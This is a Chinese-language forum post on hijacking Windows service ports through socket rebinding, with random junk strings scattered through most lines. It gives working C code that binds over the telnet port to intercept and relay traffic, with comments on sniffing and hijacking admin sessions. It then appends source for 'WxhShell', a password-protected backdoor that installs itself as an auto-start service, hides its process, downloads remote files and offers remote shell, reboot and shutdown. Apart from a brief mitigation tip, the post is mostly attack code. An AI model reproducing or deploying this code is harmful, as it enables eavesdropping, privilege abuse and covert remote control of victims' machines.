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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \Zb;'eDv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #QZe,"C9`  
5frX   
  saddr.sin_family = AF_INET; 9v#CE!  
k<z )WNBf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :S]\0;8]  
,10=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q1lyj7c#x  
M+oHtX$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XjBW9a  
HGl|-nW>  
  这意味着什么?意味着可以进行如下的攻击: o]odxr  
\a<wKTkn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a1+oj7  
|o7[|3:M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xKbXt;l2  
SA:Zc^aV  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D=TvYe  
(xycJ`N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?C]vS_jAh  
>:SHV W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z,RhYm  
Q(G#W+r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pt?bWyKG  
R- X5K-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]43/`FX  
L]7=?vN=8  
  #include />C^WQI^  
  #include +8T?{K  
  #include "%)qRe  
  #include    K&u_R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cUk7i`M;6  
  int main() .C%<P"=J4h  
  { D#aDv0b  
  WORD wVersionRequested; b\f O8{k  
  DWORD ret; #x@$ lc=k3  
  WSADATA wsaData; oueC  
  BOOL val; ]dVGUG8  
  SOCKADDR_IN saddr; 4>YR{  
  SOCKADDR_IN scaddr; ]U?^hZ_  
  int err; <(#(hDwy  
  SOCKET s; qyb?49I  
  SOCKET sc; H;mSkRD3N  
  int caddsize; VD AaYDi  
  HANDLE mt; `K"L /I9  
  DWORD tid;   v4<nI;Ux  
  wVersionRequested = MAKEWORD( 2, 2 ); \Dm";Ay>  
  err = WSAStartup( wVersionRequested, &wsaData ); @ 6\I~s(  
  if ( err != 0 ) { 'B$yo]  
  printf("error!WSAStartup failed!\n"); SZ7:u895E  
  return -1; +D6YR$_<  
  } y<UK:^t31V  
  saddr.sin_family = AF_INET; j{ ]I]\=?  
   alJ)^OSIe  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2F;y;l%  
E#34Wh2z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _ >?\DgjH  
  saddr.sin_port = htons(23); k:i4=5^*GX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z9f-.72"X  
  { /A\8 mL8  
  printf("error!socket failed!\n"); 'd0~!w  
  return -1; Bg=wKwc8  
  } =}^9 wP  
  val = TRUE; AD> e?u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 uo:J\E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U)TUOwF  
  { 299H$$WS,Z  
  printf("error!setsockopt failed!\n"); g @Z))M+  
  return -1; b1q"!+8y  
  } e)IzQ7Zex  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >IafUy  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 te`$%NRl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AF{\6<m  
yZ7&b&2nLn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (y'hyJo  
  { zC:ASt  
  ret=GetLastError(); b)#hSjWO#  
  printf("error!bind failed!\n"); OG~gFZr)6  
  return -1; n)/z0n!\  
  } r+!YI k  
  listen(s,2); \<h0Q,e  
  while(1) -/B+T>[nTb  
  { Z3e| UAif  
  caddsize = sizeof(scaddr); /V8 #[9K  
  //接受连接请求 &, vcJ{.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,oe <  
  if(sc!=INVALID_SOCKET) u]wZQl#-  
  { T  wB}l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nUr5Qn?  
  if(mt==NULL) hR n<em  
  { CZe ]kXNv  
  printf("Thread Creat Failed!\n"); )CYGQMK  
  break; ;1W6G=m  
  } <V'@ks%  
  } t?X877z  
  CloseHandle(mt); qx(xvU9  
  } g9pZ\$J&  
  closesocket(s); h f)?1z4  
  WSACleanup(); mM~qBrwL  
  return 0; @n/\L<]t  
  }   T~?Ff|qFC  
  DWORD WINAPI ClientThread(LPVOID lpParam) X #dmo/L8  
  { T"Y+m-<%  
  SOCKET ss = (SOCKET)lpParam; v~+(GqR=+  
  SOCKET sc; g'f@H-KCD  
  unsigned char buf[4096]; tIi&;tw]  
  SOCKADDR_IN saddr; # +>oZWVc  
  long num; ldcqe$7,  
  DWORD val; 68|E9^`l  
  DWORD ret; S\EyCi+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hvauyx5T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A Q U+mo  
  saddr.sin_family = AF_INET; G't$Qx,IC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f)rq%N &  
  saddr.sin_port = htons(23); FkDmP`Od  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %Xd[(Q)  
  { 5ta `%R_  
  printf("error!socket failed!\n"); 4B;=kL_f  
  return -1; f`(UQJ  
  } S}3fr^{.  
  val = 100; ja'T+!k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,,.QfUj/&  
  { Po;W'7"Po`  
  ret = GetLastError(); "Y.tht H  
  return -1; !TH) +zi  
  } Kn{4;Xk\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3NqB <J  
  { hag$GX'2k  
  ret = GetLastError(); c ]-<vkpV  
  return -1; Gu,wF(x7A  
  } o[4}h:> dq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,t744k')  
  { 539>WyG5  
  printf("error!socket connect failed!\n"); Es`Px_k  
  closesocket(sc); DK~xrU'  
  closesocket(ss); ~Cttzn]pR  
  return -1; (x|T+c"bAX  
  } G>=*yqo  
  while(1) 7+cO_3AB  
  { s^TZXCyF o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iMh#TUlQEQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i"FtcP^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zk+9'r`-D  
  num = recv(ss,buf,4096,0); {z|)Njhg  
  if(num>0) ,ng Cv;s  
  send(sc,buf,num,0); B@))8.h]  
  else if(num==0) 2.y-48Nz  
  break; dQX6(J j  
  num = recv(sc,buf,4096,0); 59L\|OR  
  if(num>0) v~C Czg  
  send(ss,buf,num,0); :4w ?#  
  else if(num==0)  A@('pA85  
  break; Hio0HL-  
  } z6P$pqyF  
  closesocket(ss); RC"MdcD:]y  
  closesocket(sc); B mb0cF Q  
  return 0 ; ttQGoUkj  
  } fbvL7* (  
/s?`&1v|r  
hE/cd1iJ$  
========================================================== VGN5<?PrN  
!|uWH  
下边附上一个代码,,WXhSHELL e>OoyDZ@R  
UDFDJm$  
========================================================== R w\gTo  
(,2S XV  
#include "stdafx.h" h" W,WxL8  
`(;m?<%  
#include <stdio.h> /}Axf"OE  
#include <string.h> |-ALklXr  
#include <windows.h> QIEJ6`  
#include <winsock2.h> #X$\&,Yn"  
#include <winsvc.h> W@IQ^ }E  
#include <urlmon.h> Rp7mh]kZ  
DCa^ u'f  
#pragma comment (lib, "Ws2_32.lib") -i|}m++  
#pragma comment (lib, "urlmon.lib") Gz0]}]A  
IPpN@  
#define MAX_USER   100 // 最大客户端连接数 y.k~Y0  
#define BUF_SOCK   200 // sock buffer 4J? 0bZ  
#define KEY_BUFF   255 // 输入 buffer G_JA-@i%  
372rbY  
#define REBOOT     0   // 重启 .Efk*  
#define SHUTDOWN   1   // 关机 (WJRi:NP?  
v1JzP#  
#define DEF_PORT   5000 // 监听端口 ~ Iuf}D;  
djZqc5t  
#define REG_LEN     16   // 注册表键长度 c6]U E@A  
#define SVC_LEN     80   // NT服务名长度 T>Z<]s  
\@zHON(  
// 从dll定义API gJ{)-\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Fo_sgv8O<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~~P5k:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kTB 0b*V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Om@;J%u/  
>U>(`r*  
// wxhshell配置信息 UkC!1Jy  
struct WSCFG { -2[a2^a'  
  int ws_port;         // 监听端口 vr l-$ii  
  char ws_passstr[REG_LEN]; // 口令 u=sp`%?  
  int ws_autoins;       // 安装标记, 1=yes 0=no l)\! .X  
  char ws_regname[REG_LEN]; // 注册表键名  _[3D  
  char ws_svcname[REG_LEN]; // 服务名 }X6m:#6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "sCRdx]_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +\A,&;!SR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qv-_ jZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _VN?#J)o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3"i-o$P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HC8e>kP9b  
'<<t]kK[N  
};  c?-H>u  
t{kG<J/l  
// default Wxhshell configuration Llo"MO*sr  
struct WSCFG wscfg={DEF_PORT, G` A4|+W"  
    "xuhuanlingzhe", +'a^f5  
    1, EVSX.'&f  
    "Wxhshell", tk`v:t!6U  
    "Wxhshell", _{KG 4+5\X  
            "WxhShell Service", ND;#7/$>  
    "Wrsky Windows CmdShell Service", dn3y\  
    "Please Input Your Password: ", m(!FHPvN  
  1, Fxz"DZY6  
  "http://www.wrsky.com/wxhshell.exe", xp{tw$  
  "Wxhshell.exe" ~ 7s!VR  
    }; q9_OGd|P  
/3T1U  
// 消息定义模块 Gd=RyoJl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KpGhQdR#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "+s++@ z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oc`H}Wvn  
char *msg_ws_ext="\n\rExit."; IJ"q~r$  
char *msg_ws_end="\n\rQuit."; pnOAs&QAm  
char *msg_ws_boot="\n\rReboot..."; oPM96 (  
char *msg_ws_poff="\n\rShutdown..."; }Y\%RA  
char *msg_ws_down="\n\rSave to "; EQM {  
T8g$uFo  
char *msg_ws_err="\n\rErr!"; /x$nje,.  
char *msg_ws_ok="\n\rOK!"; =H8;iS2R  
6&x@.1('z  
char ExeFile[MAX_PATH]; 7:1Lol-V  
int nUser = 0; c@7rqHU-0  
HANDLE handles[MAX_USER]; p5iuYHKk?  
int OsIsNt; &QgR*,5eo  
R m( "=(  
SERVICE_STATUS       serviceStatus; } Kgy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /8S>;5hvK@  
T~e.PP  
// 函数声明 |{ip T SH  
int Install(void); S1_RjMbYM  
int Uninstall(void); #6=  
int DownloadFile(char *sURL, SOCKET wsh); w?[upn:K  
int Boot(int flag); Gc|idjW4  
void HideProc(void); fHFE){  
int GetOsVer(void); y6a3t G  
int Wxhshell(SOCKET wsl); k(HUUH_z  
void TalkWithClient(void *cs); |L ev.,,Ph  
int CmdShell(SOCKET sock); %ET+iIhK  
int StartFromService(void); g 7H(PF?  
int StartWxhshell(LPSTR lpCmdLine); Z T%5T}i  
<5051U Eu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2+XA X:YD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;V!D :5U  
@VEb{ w[H  
// 数据结构和表定义 |6- nbj  
SERVICE_TABLE_ENTRY DispatchTable[] = 9* M,R,y  
{ HRA|q  
{wscfg.ws_svcname, NTServiceMain}, x%B%f`]8  
{NULL, NULL} GbI/4<)l}  
}; a7opCmL  
!nnC3y{G  
// 自我安装 > (<f 0  
int Install(void) $& c*'3  
{ *.[. {qG(  
  char svExeFile[MAX_PATH]; hZb_P\1X  
  HKEY key; /n&&Um\  
  strcpy(svExeFile,ExeFile); :2`e(+Uz  
jP.dDYc  
// 如果是win9x系统,修改注册表设为自启动 8s@3hXD&  
if(!OsIsNt) { '&b+R`g'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jH:[2N?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f o3}W^0  
  RegCloseKey(key); ;uGv:$([g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F+qm[Bc8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +}AI@+  
  RegCloseKey(key); pb,d'z\S  
  return 0; ;^L(^Hx  
    } sI2^Qp@O1  
  } $??I/6  
} %hP^%'G  
else { HzsdHH(J  
.%-8 t{dt  
// 如果是NT以上系统,安装为系统服务 c+ie8Q!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X?Q4}Y  
if (schSCManager!=0) h";L  
{ 53 h0UL  
  SC_HANDLE schService = CreateService ca9X19NG  
  ( * T1_;4i  
  schSCManager, {!`6zBsP  
  wscfg.ws_svcname, #vlgwA  
  wscfg.ws_svcdisp, ]?4hyN   
  SERVICE_ALL_ACCESS, -Y8B~@]P?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $~)SCbL^5  
  SERVICE_AUTO_START, (8OsGn  
  SERVICE_ERROR_NORMAL, 3so %gvY.'  
  svExeFile, l]SX@zTb  
  NULL, j~MI<I+l[  
  NULL, WIGi51yC.x  
  NULL, r JB}qYD  
  NULL, 9gIrt 6  
  NULL 8P`"M#fI  
  ); eMzk3eOJ  
  if (schService!=0) 5)40/cBe  
  { 46;uW{EY  
  CloseServiceHandle(schService); XWw804ir  
  CloseServiceHandle(schSCManager); {;oPLr+Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J}t%p(mb  
  strcat(svExeFile,wscfg.ws_svcname); -?a 26o%e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]M3yLYK/P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k?}Zg*  
  RegCloseKey(key); dh\P4  
  return 0; ,zc(t<|-y  
    } O/LXdz0B  
  } EQ_aa@M7  
  CloseServiceHandle(schSCManager); Q2> gU#  
} .+qpk*V\  
} Bbc^FHip  
d;>QhoiL  
return 1; 5zJq9\)d+  
} mkpMfPt  
unxqkU/<Z  
// 自我卸载 ?7A>+EY  
int Uninstall(void) $cg cX  
{ GvAb`c=  
  HKEY key; xz]~ jL@-]  
a'T;x`b8U,  
if(!OsIsNt) { dr"1s-D4IQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xa&kIq}(g  
  RegDeleteValue(key,wscfg.ws_regname); /wv0i3_e  
  RegCloseKey(key); <3 uNl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~#/  
  RegDeleteValue(key,wscfg.ws_regname); VU#7%ufu&  
  RegCloseKey(key); jiGTA:v  
  return 0; EM_d8o)`B  
  } wuBPfb  
}  !u hT  
} Gm`8q}<I  
else { .)3<Q}>  
k3|Z7eW}[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {`_i`  
if (schSCManager!=0) + T+#q@  
{ \.S/|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $;PMkUE  
  if (schService!=0) F"kAkX>3}  
  { zm#  ?W  
  if(DeleteService(schService)!=0) { 3g B7g'U  
  CloseServiceHandle(schService); `0svy}  
  CloseServiceHandle(schSCManager); C# pjmT_  
  return 0; /_.|E]  
  } CN ?gq^  
  CloseServiceHandle(schService); p4QU9DF  
  } s#MPX3itK  
  CloseServiceHandle(schSCManager); FTldR;}(  
} %2h>-.tY  
} O0:q;<>z  
|BYRe1l6l  
return 1; iRBfx  
} GX%g9f!O  
)B*t :tN  
// 从指定url下载文件 kf9X$d6   
int DownloadFile(char *sURL, SOCKET wsh) m[2gdJK  
{ ig"L\ C"T  
  HRESULT hr; ^?|"L>y  
char seps[]= "/"; &3&HY:yF  
char *token; g{LP7 D;6  
char *file; H*6W q  
char myURL[MAX_PATH]; R-14=|7a-  
char myFILE[MAX_PATH]; #;S*V"  
~G w*r\\+  
strcpy(myURL,sURL); 3XKf!P  
  token=strtok(myURL,seps); 1mJ Hued=6  
  while(token!=NULL) sRfcF`7  
  { !~Z"9(v'C  
    file=token; ,//S`j$S  
  token=strtok(NULL,seps); 8EY:t zw  
  } (% 9$!v{3  
vD4*&|8T#  
GetCurrentDirectory(MAX_PATH,myFILE); 5R7DDJk  
strcat(myFILE, "\\"); ( 5~h"s  
strcat(myFILE, file); 1x^GWtRp  
  send(wsh,myFILE,strlen(myFILE),0); D'4\*4is  
send(wsh,"...",3,0); HT@=evV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V )4J`xg^  
  if(hr==S_OK) 4K74=r),i  
return 0; *ui</+  
else x^CS"v7  
return 1; W l4%GB  
=V5%+/r+f  
} 5-M-X#(  
AwN!;t_0+N  
// 系统电源模块 !'Kj x  
int Boot(int flag) LQ% `c  
{ t<qiGDJ<d  
  HANDLE hToken; nFn5v'g  
  TOKEN_PRIVILEGES tkp; N g,j#  
}7X%'Bg=M  
  if(OsIsNt) { 5 dg(e3T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p[cX O=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); adw2x pj  
    tkp.PrivilegeCount = 1; .(vwIb8\_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .V*^|UXbHi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EK'!}OGCG  
if(flag==REBOOT) { <Gsu Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PW4q~rc=:  
  return 0; ntY]SK%Z  
}  _4f;<FL  
else { aDCwI:Li(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v>56~AJ  
  return 0; 1eKT^bgM  
} Debv4Gr;^  
  } r :dTz  
  else { /<3UQLMa  
if(flag==REBOOT) { 1&2>LE/P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3a|\dav%  
  return 0; T;#FEzBz  
} Wjc'*QCPl  
else { e# bn#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g=rbPbu  
  return 0; c`W,~[Q<O+  
} y)*RV;^  
} H>C=zo,oiC  
Cyp'?N  
return 1; olcDt&xv]  
} wS*E(IAl  
Q.[0ct  
// win9x进程隐藏模块 P*o9a  
void HideProc(void) N;gfbh]  
{ ;\]@K6m/Ap  
*`U~?q}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dRDnJc3  
  if ( hKernel != NULL ) He)%S]RLk  
  { q:(%*sY>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h$*!8=M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ls%MGs9PI  
    FreeLibrary(hKernel); w(rE`IgW  
  } _Y!IEAU/#  
8- i#8'/x  
return; n|;Im&,  
} 6wxs1G  
*8Z32c+C  
// 获取操作系统版本 ;bG>ZqJCVA  
int GetOsVer(void) +d>IHpt  
{ .u:GjL'$  
  OSVERSIONINFO winfo; a =QCp4^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z:;CX@)*  
  GetVersionEx(&winfo); ,s(,S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HP =+<]?{G  
  return 1; 8_8l.!~  
  else =Uh$&m  
  return 0; xA/D'  
} RpF&\x>  
Ned."e  
// 客户端句柄模块 KSvE~h[#+  
int Wxhshell(SOCKET wsl) ys~x $  
{ 7Wno':w8  
  SOCKET wsh; nlYNN/@"  
  struct sockaddr_in client; OCUr{Nh  
  DWORD myID; &vJH$R  
HhpDR  
  while(nUser<MAX_USER) 68 sB )R  
{ ;fJ.8C  
  int nSize=sizeof(client); TN.rrop`#g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uc=B,3  
  if(wsh==INVALID_SOCKET) return 1; Fp:'M X  
@VBcJ{e,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "#]$r  
if(handles[nUser]==0) :0ep( <|;  
  closesocket(wsh); OnK4] S5  
else R8 T x[CJ5  
  nUser++; xmG<]WF>E  
  } G#CXs:1pd+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); liZxBs :%i  
?0SEMmp`H  
  return 0; *Uh!>Iv;  
} RpK@?[4s  
g*Phv|kI  
// 关闭 socket '7/)Ot(  
void CloseIt(SOCKET wsh) +:f"Y0  
{ hc1N ~$3!G  
closesocket(wsh); `gJ(0#ac  
nUser--; g :OI  
ExitThread(0); ?`#Khff?  
} y*? Jui Q  
nEfK53i_  
// 客户端请求句柄 <[v[ci  
void TalkWithClient(void *cs) q<J~~'  
{ Nl/dX-I  
JVJMgim)0  
  SOCKET wsh=(SOCKET)cs; \lY_~*J  
  char pwd[SVC_LEN]; 4JEpl'5^Q  
  char cmd[KEY_BUFF]; /mHqurB  
char chr[1]; } #J/fa9 !  
int i,j; 5bIw?%dk(  
y9;Yiv r)  
  while (nUser < MAX_USER) { =vPj%oLp'a  
lk!@?  
if(wscfg.ws_passstr) { =-T]3!   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fox6)Uot  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yX5\gO6G  
  //ZeroMemory(pwd,KEY_BUFF); FlQGg VN  
      i=0; @c#(.=  
  while(i<SVC_LEN) { 7P T{lT  
*I+Q~4  
  // 设置超时 b'g )  
  fd_set FdRead; ,I9bNO,%JK  
  struct timeval TimeOut; BWNi [^]  
  FD_ZERO(&FdRead); >eaaaq9B-  
  FD_SET(wsh,&FdRead); so; ]&  
  TimeOut.tv_sec=8; G5!^*jf  
  TimeOut.tv_usec=0; \^LFkp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <$YlH@;)`a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vIvIfE  
"N;EL0=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >ef6{URy<  
  pwd=chr[0]; 6LZCgdS{  
  if(chr[0]==0xd || chr[0]==0xa) { H+#FSdy#  
  pwd=0; t7pFW^&  
  break; C^){.UGmJ  
  } r^ XVB`v  
  i++; jCY %|  
    } x38 QD;MT  
gIfh3D=yX  
  // 如果是非法用户,关闭 socket uO**E-`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DH=hH&[e(d  
} FwK] $4*  
[ )F<V!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N#] ypl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f^e)O$N9]  
3^ClAE"8  
while(1) { 7=uj2.J6  
JT?h1v<H]  
  ZeroMemory(cmd,KEY_BUFF); WAqINLdX  
[Pp'Ye~K@c  
      // 自动支持客户端 telnet标准   J4'eI[73  
  j=0; y7{?Ip4[  
  while(j<KEY_BUFF) { yauvXosX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LD?sh"?b  
  cmd[j]=chr[0]; @iiT<  
  if(chr[0]==0xa || chr[0]==0xd) { _aphkeqd  
  cmd[j]=0; xk5 ]^yDp  
  break; #Y! a6h+  
  } VUc%4U{Cti  
  j++; ("@!>|H  
    } Y2TtY;  
Mt$ *a  
  // 下载文件 B?QIN]  
  if(strstr(cmd,"http://")) { s.rm7r@ #  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b>W %t  
  if(DownloadFile(cmd,wsh)) R_KH"`q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V#HuIgf-  
  else im8CmQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B~mj 8l4  
  } :s,Z<^5a)g  
  else { ~u{uZ(~  
,uvRi)O>a  
    switch(cmd[0]) { zA 3_Lx!  
  kM 6 Qp  
  // 帮助 NbobliC=  
  case '?': { e.>P8C<&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #E[0ys1O  
    break; 9?$i?  
  } (Z*!#}z`  
  // 安装 .`lCWeHN  
  case 'i': { !i50QA|(G  
    if(Install()) gi8FHSU|G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' QG?nu  
    else R-:2HRaA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?[AD=rUC  
    break; c$,P ~W s'  
    } Z;i:](  
  // 卸载 Dv"9qk  
  case 'r': { sK{e*[I>W  
    if(Uninstall()) 9x8fhAy}4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5R-6ji  
    else sB</DS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XSDpRo  
    break; Y73C5.dNcE  
    } :h$$J lP  
  // 显示 wxhshell 所在路径 0f/<7R  
  case 'p': { s1rCpzK0  
    char svExeFile[MAX_PATH]; ok[i<zl; '  
    strcpy(svExeFile,"\n\r"); ixFi{_  
      strcat(svExeFile,ExeFile); .8R@2c`}Cs  
        send(wsh,svExeFile,strlen(svExeFile),0); #R"*c hLV  
    break; eavV?\uV%  
    } . vV|hSc  
  // 重启 Ulyue  
  case 'b': { = &]L00u.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^c<Ve'-  
    if(Boot(REBOOT)) Wri<h:1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b sX[UF  
    else { !Ee:o"jG{  
    closesocket(wsh); A<{{iBEI`  
    ExitThread(0); d~H`CrQE*  
    } ?}0,o.  
    break; |N2#ItBbW  
    } %A`+WYeuX  
  // 关机 t!XwW$@  
  case 'd': { -~1~I e2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tx D#9]Q`  
